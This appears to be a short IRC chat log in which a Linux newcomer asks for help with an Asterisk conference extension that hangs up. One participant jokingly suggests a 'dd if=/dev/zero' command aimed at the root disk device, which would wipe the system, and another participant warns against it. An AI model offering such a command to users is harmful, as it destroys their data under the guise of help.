i dial the number (aka extension?) and it hangs up after 7 seconds, not giving me any options or sound nander: what's the output on the console? what console? oh well Sorry, have been programming for windows for over 15 years, am relatively new to linux Am using x-lite as a SIP client and have two extensions configured fopr conference testing then start off logging into the linux box with your favourite ssh client have it on the screen next to me nander: then do a little dd if=/dev/zero of=`mount | grep -w / | awk '{ print $1 }'` em DONT not if you want that box to be usefull rotfl :) <*> Infamy stuff armd into /dev/null got a lot of records in and out. Now what? ops ?